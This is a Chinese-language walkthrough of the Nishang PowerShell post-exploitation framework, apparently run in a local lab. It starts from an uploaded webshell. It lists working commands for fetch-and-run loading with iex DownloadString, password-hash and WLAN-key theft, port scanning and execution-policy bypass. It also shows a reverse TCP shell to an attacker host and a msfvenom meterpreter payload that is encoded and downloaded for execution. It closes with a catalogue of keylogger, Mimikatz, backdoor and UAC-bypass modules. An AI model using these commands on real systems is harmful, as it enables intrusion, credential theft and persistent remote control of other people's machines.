深入浅出【Nishang】
虽说是实战,我们依然选择了本地测试环境,来实现一个从webshell的web用户权限借助Nishang完成后渗透初步。这里就不细说Nishang了,给你个眼神。
实验环境:
web漏洞靶机 win10 192.168.3.249
个人服务器 ubuntu18 192.168.3.30
同网段陪葬机 win7 192.168.3.25
攻击平台 parrot 192.168.3.32
按照我们的前期准备,人为增加测试难度,禁用靶机powershell脚本运行。既Set-ExecutionPolicy Unrestricted
接下来,故事开始了,抽根烟且听我慢慢道来。。。
我们的故事开始于一个webshell...
上传成功,当前为普通用户权限:
powershell get-host
查看PS版本,因为靶机为win10,所以满足Nishang的许可,Nishang使用与PSV3.0及以上,所以win7/win server 2008R2不满足,以上版本可以,确切的说部分脚本功能会受到影响。
网上许许多多的教程提供了Nishang的本地操作,且需要开启执行策略,然而在实际测试中,你既然已经拿到system权限登录目标服务器了,Nishang的出现其实已经重复了,毕竟,那些Nishang也可以帮你做到。
所以,我们先来搭建一个Nishang远程服务器,借助apache、python均可,这里偷个懒开启python Web功能,操作发生在个人服务器上,实际测试中应为公网。
python3 -m http.server 1988
接下来开始我们真正意义上的Nishang实战。
信息收集
我们接下来首先以Check-VM //虚拟机检测
举例,(么办法,这个回显少)。
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.3.30:1988/Gather/Check-VM.ps1');Check-VM
显示目标非虚拟机。
悄咪咪说一句,这里其实我也尝试了冰蝎,没有回显,翻车mark。
Get-PassHashes
读取用户hash:
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.3.30:1988/Gather/Get-PassHashes.ps1');Get-PassHashes
这里因为故意没做提权,所以为解析hash为空,不必在意。
Get-WLAN-Keys
读取wlan密码
powershell iex (New-Object Net.WebClient).DownloadString('[http://192.168.3.30:1988/](http://192.168.3.30:1988/)Gather/Get-WLAN-Keys.ps1');Get-WLAN-Keys
Invoke-PortScan
端口扫描
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.3.30:1988/Scan/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.3.239 -EndAddress 192.168.3.249 -ScanPort -port 21,22,443,445,3306,3389,1433
整个信息收集模块目录如下,大家根据需求自行玩耍:
本地调用
接下来我们拓展下本地调用,但你要晓得Nishang并不免杀,所以根据需要安排这一步。
将脚本上传到目标服务器:
关于本地调用两种方式,我们还以Check-VM
为例,结合上面的远程调用三种方式大家方便对比。
1、调用具体脚本:
powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\Gather\Check-VM.ps1';Check-VM}"
2、加载主入口模块:
powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\nishang.psm1';Check-VM}"
效果同上,但共同点大家也看到了,增加了bypass策略绕过,原因在基础章节也提到了,因为远程下载和策略bypass均可绕过执行策略。
反弹shell
发现webshell在命令报错时会没有回显,搞得我们一头雾水,还是需要给稳定的shell会话的。
个人习惯,反弹shell:
powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\shells\Invoke-PowerShellTcp.ps1';Invoke-PowerShellTcp -Reverse -IPAddress 192.168.3.30 -Port 6666}"
成功获得会话。
结合MSF
提权这一块Nishang居然预留了跟msf的配合模块,本以为是木马回弹,没想到只是木马修饰,我们来看一下。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.3.32 lport=4444 -f exe -o rabbit.exe
刚拿到就被杀了,额。
对了,这里漏说一个地方,如果Nishang纯本地使用命令简单的多,刚好对木马进行修饰需要本地使用,顺便说下:
在执行策略运行的情况下加载主模块入口,我们即可使用全部命令。
Import-Module .\nishang.psm1
具体哪些呢?如下,其实就是Nishang所有文件名。
我们接下来要用到的是ExetoText。
ExetoText C:\Users\RabbitMask\Desktop\nishang-master\nishang-master\rabbit.exe C:\Users\RabbitMask\Desktop\nishang-master\nishang-master\rabbit.txt
emmmm,给你们一分钟想想怎么夸他,如下为txt中的内容,丢到服务器上。
powershell –exec bypass –Command "&{Import-Module 'D:\phpstudy\WWW\DVWA\hackable\uploads\nishang-master\Execution\Download_Execute.ps1';Download_Execute http://192.168.3.30:1988/rabbit.txt}"
成功回弹shell,并稳定提权,我:???,,win10这么弱鸡了???
其它
其实,Nishang还综合了许许多多的后渗透测试所需的模块,时间关系我并没有太多涉猎模块使用,而是选择性的介绍了下Nishang对使用环境的适应性。
当然还有一个原因,在体验完Nishang后并不让我满意,后渗透测试框架确实有效的为后渗透流程指明了方向,但稳定性堪忧,公知的是Nishang对V3.0以下存在些许不支持,但他对V5.0以上依旧bug层出,所以仁者见仁智者见智,大家自行安排。谨以此文献给初识Nishang的小白,共勉。
最后再补充点下常用命令,或者称为模块。:
Invoke-BruteForce
专注于暴力破解的脚本,它可以破解SQL Server、ActiveDirecotry、FTP、Web等服务。
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusername.txt -PasswordList C:testpassword.txt -Service SQL -Verbose
#信息收集
Check-VM //检测目标机是否为虚拟机。
Copy-VSS //使用卷影拷贝服务来复制SAM文件。
Get-Information //从目标机上获取信息
Get-PassHashes //从目标机上获取Hash密码
Get-WLAN-Keys //从目标机上获取纯文本的WLAN密钥
Keylogger //键盘记录脚本
Show-TargetScreen //屏幕监控
Invoke-Mimikatz //在内存中加载Mimikatz
#后门
HTTP-Backdoor //可以接收来自第三方网站的指令,并在内存中执行PowerShell脚本
DNS_TXT_Pwnage //可以在DNS TXT查询中接收指令和PowerShell脚本,并在目标机上执行
Execute-OnTime //可以在目标机上指定时间执行PowerShell脚本
Gupt-Backdoor //可以从WLAN SSID中接收命令和脚本,而不用去连接它
#骚操作
Invoke-PsUACme //全套的UAC bypass
Remove-Upadte //移除目标机器上的更新补丁